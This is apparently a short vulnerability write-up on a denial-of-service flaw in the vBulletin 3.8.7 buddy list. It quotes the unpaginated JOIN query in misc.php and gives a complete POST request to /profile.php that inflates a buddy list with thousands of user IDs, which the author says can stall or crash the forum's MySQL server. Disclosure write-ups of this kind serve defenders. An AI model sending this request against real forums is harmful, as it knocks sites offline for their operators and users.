
Writeup of a Denial of Service vulnerability in the vBulletin 3.8.7 friends list.
The /misc.php?do=buddylist endpoint runs a single, large JOIN query that retrieves all buddies along with their user and session information to check online status. Because this query processes the entire buddy list without pagination or result limits, it becomes extremely resource-intensive and can overload the database when the list grows large.
This issue is easy to exploit and requires minimal setup. No special privileges are needed beyond a basic user account. Simply inflating the buddy list is enough to put serious strain on the database.
This SQL query retrieves buddy details along with session information to check online status for every buddy. Because it processes the entire buddy list and joins with session data for each entry, the query becomes very large and resource-intensive.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
Bulk friend lists can be populated by POSTing to /profile.php with listbits. This can be repeated for thousands of user IDs to inflate the buddy list:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
On large forums, this can cause severe query lag or crash the MySQL instance altogether.